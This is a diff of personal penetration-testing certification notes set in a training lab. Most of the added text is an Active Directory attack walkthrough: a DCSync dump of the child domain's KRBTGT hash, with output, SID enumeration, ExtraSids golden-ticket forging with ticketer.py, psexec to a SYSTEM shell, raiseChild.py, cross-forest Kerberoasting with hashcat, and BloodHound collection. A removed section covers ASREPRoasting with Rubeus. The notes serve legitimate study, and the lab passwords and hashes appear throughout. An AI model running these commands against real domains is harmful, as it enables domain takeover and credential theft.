CPTS notes

docs/389-636-ldap.md

@@ -26,7 +26,7 @@ The relationship between AD and LDAP can be compared to Apache and HTTP. The sam
 - It's a binary protocol and by default not encrypted.
 - Has been updated to include encryptions addons, as Transport Layer Security (TLS)/SSL and can be tunnelled through SSH
 
-The hierarchy (tree) of information stored via LDAP is known as the Directory Information Tree (DIT). That structure is defined in a schema.
+The hierarchy (tree) of information stored via LDAP is known as the **Directory Information Tree (DIT).** That structure is defined in a schema.
 
 A common use of LDAP is to provide a central place to store usernames and passwords. This allows many different applications and services to connect to the LDAP server to validate users.
 

docs/active-directory-from-linux-enumeration.md

@@ -381,30 +381,6 @@ It's possible to obtain the Ticket Granting Ticket (TGT) for any account that ha
 
 ASREPRoasting is similar to Kerberoasting, but it involves attacking the AS-REP instead of the TGS-REP. An SPN is not required. This setting can be enumerated with PowerView or built-in tools such as the PowerShell AD module.
 
-#### DONT_REQ_PREAUTH Value using Get-DomainUser
-
-Enumerating for DONT_REQ_PREAUTH Value using Get-DomainUser
-
-```powershell
-Import-Module .\PowerView.ps1
-Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
-```
-
-With this information in hand, the Rubeus tool can be leveraged to retrieve the AS-REP in the proper format for offline hash cracking. This attack does not require any domain user context and can be done by just knowing the SAM name for the user without Kerberos pre-auth.
-
-```powershell
-# Retrieving AS-REP in Proper Format using Rubeus
-.\Rubeus.exe asreproast /user:$user /nowrap /format:hashcat
-# Example:
-# .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
-```
-
-Cracking the Hash Offline with Hashcat:
-
-```bash
-hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt 
-```
-
 #### DONT_REQ_PREAUTH Value using kerbrute
 
 ```shell-session

docs/active-directory-from-linux-privilege-escalation.md

@@ -87,7 +87,7 @@ domain\user22
 ```
 
 
-## Kerberoasting
+## 🔐  Kerberoasting
 
 [See about Kerberos authentication](kerberos-authentication.md).
 
@@ -165,3 +165,314 @@ hashcat -m 13100 file_tgs /usr/share/wordlists/rockyou.txt
 #### targetedKerberoast
 
 [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) is a Python script that can, like many others (e.g. GetUserSPNs.py), print "kerberoast" hashes for user accounts that have a SPN set. This tool brings the following additional feature: for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), print the "kerberoast" hash, and delete the temporary SPN set for that operation. This is called targeted Kerberoasting. This tool can be used against all users of a domain, or supplied in a list, or one user supplied in the CLI.
+
+
+## 👀 Attacking Domain Trusts # 1: Child -> Parent Trusts
+
+### 🏰 ExtraSids Attack 
+
+Requirements for performing the attack:
+
+- The KRBTGT hash for the child domain
+- The SID for the child domain
+- The name of a target user in the child domain (does not need to exist!)
+- The FQDN of the child domain
+- The SID of the Enterprise Admins group of the root domain
+
+We have complete control over the child domain, which would be: LOGISTICS.INLANEFREIGHT.LOCAL.
+
+#### Step 1: getting the KRBTGT hash for the child domain
+
+We will perform a DCSync attack with secretsdump.py:
+
+```shell-session
+secretsdump.py $targetedDomain/$UserWithAdminPriv@$TargetedIP -just-dc-user $NetbiosNameofDomain/krbtgt
+
+# Example:
+# secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt
+# Enter password: HTB_@cademy_stdnt_admin!
+```
+
+For this we need:
+- The user (`htb-student_adm`) must have the necessary privileges to query the domain controller. We need their creds.
+- We require to know $targetedDomain and NetbiosNameofDomain.
+- The **Impacket** library must be installed, and the tool should be executed in an environment with Python support.
+- Network connectivity to the target IP (in this example `172.16.5.240`) is required.
+
+Results:
+
+```
+Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
+
+Password:
+[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
+[*] Using the DRSUAPI method to get NTDS.DIT secrets
+krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
+[*] Kerberos keys grabbed
+krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
+krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
+krbtgt:des-cbc-md5:fee04c3d026d7538
+
+```
+
+#### Step 2: getting the SID for the child domain
+
+Next, we can use [lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py) , an Impacket script used for querying a Windows system to obtain information about the SID associated with a given user or group. 
+
+The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format `DOMAIN_SID-RID`.
+
+```shell-session
+lookupsid.py $targetedDomain/$UserWithAdminPriv@TargetedIP 
+# Example:
+# lookupsid.py logistics.inlanefreight.local/[email protected] 
+# Enter password: HTB_@cademy_stdnt_admin!
+```
+
+If we just want to get the Domain SID, we can filter it out:
+
+```shell-session
+lookupsid.py $targetedDomain/$UserWithAdminPriv@TargetedIP | grep "Domain SID"
+# Example:
+# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"
+# Enter password: HTB_@cademy_stdnt_admin!
+```
+
+Results:  S-1-5-21-2806153819-209893948-922872689
+
+#### Step 3: getting the name of a target user in the child domain (does not need to exist!)
+
+For instance, `hacker`.
+
+#### Step 4: getting the FQDN of the child domain.
+
+logistics.inlanefreight.local
+
+
+#### Step 5: getting the SID of the Enterprise Admins group of the root domain
+
+Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5. We will perform a **SID enumeration** on the target system and filter the results to find information related to the **Enterprise Admins** group in the Active Directory (AD) domain. For filtering we will use the RID of the Enterprise Admins group. [Here](active-directory-security-identifiers.md) is a handy list of well-known SIDs.
+
+```shell-session
+lookupsid.py $targetedDomain/$UserWithAdminPriv@$DomainControllerIP | grep "Enterprise Admins"
+# Example:
+# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Enterprise Admins"
+# Enter password: HTB_@cademy_stdnt_admin!
+
+# Way2:
+lookupsid.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] | grep "Enterprise Admins"
+# Enter password: HTB_@cademy_stdnt_admin!
+```
+
+Result:
+```
+519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
+```
+
+As the domain SID was: `S-1-5-21-3842939050-3880317879-2865463114` and the RID is `519`, the SID of "Enterprise Admin" group is `S-1-5-21-3842939050-3880317879-2865463114-519` .
+
+
+#### Step 6: Generate a golden ticket 
+
+Next, we can use [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by `-domain-sid`) and the parent domain (specified by `-extra-sid`).
+
+```shell-session
+ticketer.py -nthash $KRBTGThashOfChildDomain -domain $targetedDomain -domain-sid $sidDomain -extra-sid $SIDofEnterpriseAdminGroup $madeupUserName
+# Example:
+# ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
+```
+
+The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials:
+
+```
+[*] Saving ticket in hacker.ccache
+```
+
+
+Setting the KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.
+
+```shell-session
+export KRB5CCNAME=hacker.ccache 
+```
+
+
+We can check if we can successfully authenticate to the parent domain's Domain Controller using [Impacket's version of Psexec](impacket-psexec.md). If successful, we will be dropped into a SYSTEM shell on the target Domain Controller.
+
+```shell-session
+psexec.py $targetedDomain/$madeupUser@$hostNameDC.$ParentDomain -k -no-pass -target-ip $DomainControllerIP
+# Example:
+# psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] -k -no-pass -target-ip 172.16.5.5
+# Enter password: HTB_@cademy_stdnt_admin!
+```
+
+
+#### Step 7: Privilege escalation
+
+Impacket also has the tool [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py), which will automate escalating from child to parent domain.
+
+We need to specify the target domain controller and credentials for an administrative user in the child domain. 
+
+```shell-session
+raiseChild.py -target-exec $DomainControllerIP  $TargetedDomain/$UserWithAdminPriv
+# Example:
+# raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
+# Enter password: HTB_@cademy_stdnt_admin!
+# target-exec: If specified, then it will authenticate to the parent domain's Domain Controller via Psexec.
+
+```
+
+
+#### Step 8: Accessing another user on domain
+
+The following will reproduce the entire attack:
+
+
+```
+#### Step 1: getting the KRBTGT hash for the child domain
+secretsdump.py $targetedDomain/$UserWithAdminPriv@$TargetedIP -just-dc-user $NetbiosNameofDomain/krbtgt
+
+# Example:
+# secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt
+# Enter password: HTB_@cademy_stdnt_admin!
+# Results: 9d765b482771505cbe97411065964d5f
+#### 
+
+#### Step 2: getting the SID for the child domain. Obtain the SID for the domain and the RIDs for each user and group and filter out by Domain SID
+lookupsid.py $targetedDomain/$UserWithAdminPriv@TargetedIP | grep "Domain SID"
+
+# Example:
+# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Domain SID"
+# Enter password: HTB_@cademy_stdnt_admin!
+# Results:  S-1-5-21-2806153819-209893948-922872689
+####
+
+#### Step 3: getting the name of a target user in the child domain (does not need to exist!)
+hacker
+####
+
+#### Step 4: getting the FQDN of the child domain.
+logistics.inlanefreight.local
+####
+
+#### Step 5: getting the SID of the Enterprise Admins group of the root domain
+lookupsid.py $targetedDomain/$UserWithAdminPriv@$DomainControllerIP | grep "Enterprise Admins"
+# Example:
+# lookupsid.py logistics.inlanefreight.local/[email protected] | grep "Enterprise Admins"
+# Enter password: HTB_@cademy_stdnt_admin!
+# Results: 519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
+####
+
+#### Step 6: Generate a golden ticket 
+ticketer.py -nthash $KRBTGThashOfChildDomain -domain $targetedDomain -domain-sid $sidDomain -extra-sid $SIDofEnterpriseAdminGroup $madeupUserName
+# Example:
+# ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
+
+# The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials:
+[*] Saving ticket in hacker.ccache
+
+# Setting the KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.
+export KRB5CCNAME=hacker.ccache 
+####
+
+#### Step 7: Accessing another user on domain
+# With one user, we will request the NTLM hash for another user
+secretsdump.py $ControlledUsername@$hostnameController.$Parentdomain -k -no-pass -just-dc-ntlm -just-dc-user $targetUsername
+# Example:
+# secretsdump.py [email protected] -k -no-pass -just-dc-ntlm -just-dc-user bross
+
+```
+
+### 🌳 Cross-Forest Kerberoasting
+
+ Sometimes you cannot escalate privileges in your current domain, but instead can obtain a Kerberos ticket and crack a hash for an administrative user in another domain that has Domain/Enterprise Admin privileges in both domains.
+
+To do this, we need credentials for a user that can authenticate into the other domain and specify the `-target-domain` flag in our command.
+
+```shell-session
+GetUserSPNs.py -target-domain $targetedDomain $OurDomain/$ourUserSamAccountName
+# Example:
+# GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
+# Enter password: transporter@4
+```
+
+
+Rerunning the command with the `-request` flag added gives us the TGS ticket.
+
+```shell-session
+GetUserSPNs.py -request -target-domain $targetedDomain $OurDomain/$ourUserSamAccountName
+# Example:
+# GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley
+# Enter password: transporter@4
+```
+
+Now, with those TGS we could try to crack them offline
+
+```bash
+hashcat -m 13100 tickettocrack /usr/share/wordlists/rockyou.txt  
+```
+
+
+### 🐇 Hunting Foreign Group Membership with Bloodhound-python
+
+we may, from time to time, see users or admins from one domain as members of a group in another domain.  Since only `Domain Local Groups` allow users from outside their forest, it is not uncommon to see a highly privileged user from Domain A as a member of the built-in administrators group in domain B when dealing with a bidirectional forest trust relationship.
+
+ If we are testing from a Linux host, we can gather this information by using the [Python implementation of BloodHound](https://github.com/fox-it/BloodHound.py).
+
+**Collecting information from INLANEFREIGHT.LOCAL**
+
+```shell-session
+sudo nano /etc/resolv.conf 
+```
+
+Modify the file so it will have the following entries:
+
+```
+#nameserver 1.1.1.1
+#nameserver 8.8.8.8
+domain INLANEFREIGHT.LOCAL
+nameserver 172.16.5.5
+```
+
+Running bloodhound-python Against INLANEFREIGHT.LOCAL:
+
+```bash 
+bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2
+```
+
+We can compress the resultant zip files to upload one single zip file directly into the BloodHound GUI.
+
+```shell-session
+zip -r ilfreight_bh.zip *.json
+```
+
+
+**Collecting information from INLANEFREIGHT.LOCAL**
+
+```shell-session
+sudo nano /etc/resolv.conf 
+```
+
+Modify the file so it will have the following entries:
+
+```shell-session
+#nameserver 1.1.1.1
+#nameserver 8.8.8.8
+domain FREIGHTLOGISTICS.LOCAL
+nameserver 172.16.5.238
+```
+
+Running bloodhound-python Against FREIGHTLOGISTICS.LOCAL
+
+```shell-session
+bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u [email protected] -p Klmcargo2
+```
+
+We can compress the resultant zip files to upload one single zip file directly into the BloodHound GUI.
+
+```shell-session
+zip -r FREIGHTLOGISTICS.zip *.json
+```
+
+Transfer the files to your attacker machine, open [Bloodhound](bloodhound.md) in your attacker machine, upload the zip. Now we can click on Users with Foreign Domain Group Membership under the Analysis tab and select the source domain as INLANEFREIGHT.LOCAL. Here, we will see the built-in Administrator account for the INLANEFREIGHT.LOCAL domain is a member of the built-in Administrators group in the FREIGHTLOGISTICS.LOCAL domain as we saw previously.
+
+![](img/blood03.png)
+

docs/active-directory-from-windows-attacks.md

@@ -198,7 +198,7 @@ GET NTLMV2USERNAMES
 [See https://www.crowdstrike.com/en-us/blog/cve-2020-1472-zerologon-security-advisory/.](https://www.crowdstrike.com/en-us/blog/cve-2020-1472-zerologon-security-advisory/)
 
 
-## ⛓️DCShadow
+## ⛓️ DCShadow
 
 [See https://blog.netwrix.com/2022/09/28/dcshadow_attack/](https://blog.netwrix.com/2022/09/28/dcshadow_attack/)